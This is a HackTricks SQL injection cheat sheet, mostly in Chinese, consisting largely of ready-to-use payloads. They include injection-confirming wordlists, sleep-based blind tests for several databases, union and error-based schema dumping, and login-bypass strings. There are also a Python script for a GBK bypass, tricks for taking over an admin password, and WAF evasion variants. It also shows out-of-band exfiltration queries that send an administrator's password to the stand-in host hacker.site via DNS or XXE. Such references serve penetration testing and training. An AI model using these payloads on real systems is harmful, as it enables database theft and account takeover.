SQL Injection
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
什么是 SQL injection?
SQL injection 是一种安全漏洞,允许攻击者干扰应用的数据库查询。该漏洞可能使攻击者能够查看、修改或删除他们不该访问的数据,包括其他用户的信息或应用可访问的任何数据。这些行为可能导致应用的功能或内容发生永久性更改,甚至导致服务器被妥协或 denial of service。
入口点检测
当站点因对与 SQLi 相关的输入产生异常服务器响应而看起来vulnerable to SQL injection (SQLi)时,第一步是要了解如何在不破坏查询的情况下向查询注入数据。这需要有效识别从当前上下文转义的方法。These are some useful examples:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
接下来,你需要知道如何 修复查询以避免错误。为了修复查询,你可以 输入 数据使 之前的查询接受新数据,或者你也可以直接 输入 你的数据并 在末尾添加注释符号。
注意:如果你能看到错误消息,或者能在查询可用和不可用时发现差异,这一步会更容易。
注释
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
使用逻辑运算进行确认
确认 SQL injection 漏洞的可靠方法之一是执行一个逻辑运算并观察预期结果。例如,如果 GET 参数 ?username=Peter 在修改为 ?username=Peter' or '1'='1 后返回相同内容,则表明存在 SQL injection 漏洞。
类似地,应用数学运算也是一种有效的确认技术。例如,如果访问 ?id=1 和 ?id=2-1 得到相同结果,则表明存在 SQL injection。
以下示例演示了使用逻辑运算进行确认:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
该词表旨在以所提出的方式尝试确认 SQLinjections:
真实 SQLi
``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```使用时间确认
在某些情况下,你在测试的页面不会注意到任何变化。因此,一个发现 blind SQL injections的好方法是让 DB 执行操作,从而对页面的加载时间产生影响。
因此,我们将在 SQL 查询中 concat 一个会花费大量时间完成的操作:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
在某些情况下,sleep functions 不会被允许。然后,与其使用那些函数,你可以让查询执行复杂操作,这些操作会花费几秒钟。这些技术的示例将会在每种技术(如果有的话)中分别说明。
识别后端
识别后端的最佳方法是尝试执行不同后端的函数。你可以使用上一节的 sleep functions 或者下面这些(表格来自 payloadsallthethings:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
另外,如果你可以看到查询的输出,你可以让它打印数据库的版本。
Tip
接下来我们将讨论针对不同类型的 SQL Injection 的不同利用方法。我们将以 MySQL 为例。
使用 PortSwigger 识别
SQL injection cheat sheet | Web Security Academy
利用 Union Based
检测列数
如果你能看到查询的输出,这是最好的利用方式。
首先,我们需要找出初始请求返回的列的数量。这是因为两个查询必须返回相同数量的列。
通常有两种方法用于此目的:
Order/Group by
要确定查询中的列数,逐步调整 ORDER BY 或 GROUP BY 子句中使用的数字,直到收到错误响应为止。尽管 GROUP BY 和 ORDER BY 在 SQL 中的功能不同,但在确定查询的列数时,两者可以以相同的方式使用。
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
选择越来越多的 null 值,直到查询正确:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
你应该使用 null值,因为在某些情况下查询两侧列的类型必须相同,而 null 在所有情况下都是有效的。
提取数据库名、表名和列名
在下面的示例中,我们将检索所有数据库的名称、某个数据库的表名、以及表的列名:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
每种不同的数据库都有发现这些数据的不同方法,但其方法论始终相同。
利用隐藏的 Union Based
当查询的 output 可见,但看似无法实现 union-based injection 时,说明存在一个 hidden union-based injection。这种情况常常会导致 blind injection。要将 blind injection 转换为 union-based,需要识别后端正在执行的 query。
这可以通过结合 blind injection 技术和目标 Database Management System (DBMS) 的默认表来实现。为了解这些默认表,建议查阅目标 DBMS 的文档。
一旦提取出该 query,就需要调整你的 payload 以安全地关闭原始 query。随后在 payload 中追加一个 union query,从而利用新可用的 union-based injection。
欲了解更全面的见解,请参阅完整文章 Healing Blind Injections.
利用 Error based
如果因为某种原因你 cannot 看到该 query 的 output,但你可以 see the error messages,你可以利用这些错误信息来 ex-filtrate 数据库的数据。
按照与 Union Based exploitation 类似的流程,你就可能成功 dump the DB.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
利用 Blind SQLi
在这种情况下,你无法看到查询的结果或错误,但你可以区分查询何时返回一个true或false的响应,因为页面上有不同的内容。
在这种情况下,你可以滥用该行为来 dump the database char by char:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
利用 Error Blind SQLi
这与之前的情况相同,但不是通过区分查询的 true/false 响应,而是可以区分SQL 查询是否产生 error(可能因为 HTTP 服务器崩溃)。因此,在这种情况下你可以在每次正确猜出字符时强制触发一个 SQLerror:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Exploiting Time Based SQLi
在这种情况下,基于页面上下文,没有任何方法可以区分查询的响应。但是,如果猜测的字符正确,你可以让页面加载时间更长。我们之前已经看到过这一技术被用来confirm a SQLi vuln.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Stacked Queries
你可以使用 stacked queries 来 连续执行多个查询。请注意,虽然后续的查询会被执行,但结果不会返回给应用程序。因此,这种技术主要适用于与 blind vulnerabilities 相关的场景,在这种情况下你可以使用第二个查询来触发 DNS 查询、条件错误或时间延迟。
Oracle 不支持 stacked queries. MySQL, Microsoft 和 PostgreSQL 支持它们: QUERY-1-HERE; QUERY-2-HERE
Out of band Exploitation
如果 没有其他 利用方法 奏效,你可以尝试让 database ex-filtrate 信息到由你控制的 external host。例如,通过 DNS 查询:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
通过 XXE 进行 Out of band data exfiltration
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
自动化利用
请查看 SQLMap Cheatsheet 使用 sqlmap 来利用 SQLi 漏洞。
特定技术信息
我们已经讨论了利用 SQL Injection 漏洞的所有方法。请在本书中查找与数据库技术相关的更多技巧:
或者你可以在 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection 找到 大量关于 MySQL, PostgreSQL, Oracle, MSSQL, SQLite 和 HQL 的技巧
认证绕过
尝试绕过登录功能的列表:
Raw hash 认证绕过
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
该查询展示了当在认证检查中使用 MD5 并将 raw output 设置为 true 时出现的漏洞,使系统容易受到 SQL injection。攻击者可以通过构造输入,使其在被哈希后产生意外的 SQL 命令片段,从而获得未授权访问。
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
注入哈希认证绕过
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
推荐列表:
你应该将列表中的每一行作为用户名,密码始终为:Pass1234.\
(这些 payloads 也包含在本节开头提到的那个大列表中)
GBK Authentication Bypass
如果 ’ 被转义,你可以使用 %A8%27;当 ’ 被转义时它会被创建为:0xA80x5c0x27 (╘’)
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Python 脚本:
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Polyglot injection (multicontext)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
插入语句
修改现有对象/用户的密码
为此,你应该尝试 创建一个名称与“主对象”相同的新对象(在用户情形下通常是 admin),并修改某些内容:
- Create user named: AdMIn (uppercase & lowercase letters)
- Create a user named: admin=
- SQL Truncation Attack (when there is some kind of length limit in the username or email) –> Create user with name: admin [a lot of spaces] a
SQL Truncation Attack
如果数据库存在漏洞且用户名的最大字符数例如为 30,而你想模仿用户 admin,尝试创建一个用户名为:“admin [30 spaces] a” 并随意设置密码。
数据库会 检查 所输入的 用户名 是否 存在 于数据库中。若 不存在,它会将该 用户名 截断 到 允许的最大字符数(在此例中为:“admin [25 spaces]”),然后它将自动移除结尾的所有空格并在数据库中将用户 “admin” 的密码更新为新密码**(可能会出现一些错误,但这并不意味着该攻击没有成功)**。
More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL Insert time based checking
Add as much ','','' as you consider to exit the VALUES statement. If delay is executed, you have a SQLInjection.
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
在 MySQL 中,ON DUPLICATE KEY UPDATE 子句用于指定当尝试插入一行导致在 UNIQUE index 或 PRIMARY KEY 中出现重复值时,数据库应采取的操作。下面的示例演示了如何利用此特性来修改管理员账户的密码:
Example Payload Injection:
可以构造如下的 injection payload,其中尝试向 users 表插入两行。第一行是诱饵,第二行针对现有管理员的邮箱,目的是更新其密码:
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
Here’s how it works:
- 该查询尝试插入两行:一行为
generic_user@example.com,另一行为admin_generic@example.com。 - 如果
admin_generic@example.com的记录已存在,ON DUPLICATE KEY UPDATE子句会触发,指示 MySQL 将该现有记录的password字段更新为 “bcrypt_hash_of_newpassword”。 - 因此,可以使用
admin_generic@example.com尝试进行认证,密码为对应于该 bcrypt 哈希的值(“bcrypt_hash_of_newpassword” 表示新密码的 bcrypt 哈希,应替换为所需密码的实际哈希)。
提取信息
同时创建 2 个账户
在尝试创建新用户时,需要提供 username、password 和 email:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
使用十进制或十六进制
使用此技术,你只需创建一个账号就能提取信息。重要的是:你不需要注释任何内容。
使用 hex2dec 和 substr:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
要获取文本,您可以使用:
__import__('binascii').unhexlify(hex(215573607263)[2:])
使用 hex 和 replace (以及 substr):
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Routed SQL injection
Routed SQL injection 是一种情形,其中 injectable query 并非直接产生 output 的查询,而是该 injectable query 的 output 被传递给产生 output 的另一个查询。 (From Paper)
示例:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF Bypass
No spaces bypass
No Space (%20) - bypass 使用空白字符替代
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - 使用注释进行 bypass
?id=1/*comment*/and/**/1=1/**/--
No Whitespace - bypass using parenthesis
?id=(1)and(1)=(1)--
No commas bypass
No Comma - 绕过:使用 OFFSET, FROM and JOIN
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
通用 Bypasses
Blacklist 使用关键字 - bypass 使用大写/小写
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
针对使用 keywords(case insensitive)的 Blacklist — 通过使用 equivalent operator 进行 bypass 绕过
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Scientific Notation WAF bypass
有关此技巧的更深入解释,请参见 gosecure blog.\
基本上,你可以以意想不到的方式使用 scientific notation 来绕过 WAF:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
绕过列名限制
首先,注意到如果原始查询和你想要从中提取 flag 的表具有相同数量的列,你可以直接使用:0 UNION SELECT * FROM flag
可以在不使用列名的情况下访问表的第三列,使用如下查询:SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;,所以在一个 sqlinjection 中这将看起来像:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
或者使用 comma bypass:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
该技巧来自 https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/
Column/tablename injection in SELECT list via subqueries
如果用户输入被串接到 SELECT 列表或表/列标识符中,prepared statements 无济于事,因为 bind parameters 只保护值,而不是标识符。一个常见的易受攻击的模式是:
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
利用思路: 将子查询注入到字段位置以提取任意数据:
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
注意:
- 即便 WHERE 子句使用绑定参数 (bound parameter),这仍然可行,因为标识符列表仍通过字符串拼接 (string-concatenated)。
- 一些栈还允许你控制表名 (tablename injection),从而实现跨表读取。
- 输出接收点可能会将选定值反映到 HTML/JSON 中,直接导致 XSS 或 token exfiltration 于响应中。
缓解措施:
- 切勿从用户输入拼接标识符。将允许的列名映射到固定的 allow-list,并正确引用标识符。
- 如果需要动态表访问,应限制为有限集合,并在服务器端从安全映射中解析。
SQLi via AST/filter-to-SQL converters (JSON_VALUE predicates)
一些框架会convert structured filter ASTs into raw SQL boolean fragments(例如,metadata filters 或 JSON predicates),然后string-concatenate这些片段成更大的查询。如果转换器wraps string values as '%s' without escaping,用户输入中的单引号会终止字面量,剩余部分将被解析为 SQL。
Example pattern (conceptual):
JSON_VALUE(metadata, '$.department') = '<user_value>'
Payload (URL-encoded): %27%20OR%20%271%27%3D%271 → 解码后:' OR '1'='1 → 谓词变为:
JSON_VALUE(metadata, '$.department') = '' OR '1'='1'
ORDER BY / identifier-based SQLi (PDO limitation)
预处理语句 不能绑定标识符(列名或表名)。一个常见的不安全模式是取用户控制的 sort 参数并通过字符串拼接构建 ORDER BY,有时将输入用反引号包裹以“清理”。这仍然会导致 SQLi,因为标识符上下文由攻击者控制。
易受攻击的模式:
$sort = $_POST['sort'];
$q = "SELECT id,item_name FROM items WHERE user_id=? ORDER BY `$sort`";
$stmt = $pdo->prepare($q);
$stmt->execute([$user_id]);
流量中的信号:
- 在 POST 中的 sort 参数(通常为
sort=column),不是固定的 allow-list。 - 更改
sort会破坏查询或改变输出的排序。
WAF bypass 建议工具
GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester \xc2\xb7 GitHub
其他指南
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Brute-Force 检测列表
Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
参考资料
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
- https://blog.securelayer7.net/cve-2026-22730-sql-injection-spring-ai-mariadb/
- HTB: Gavel
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


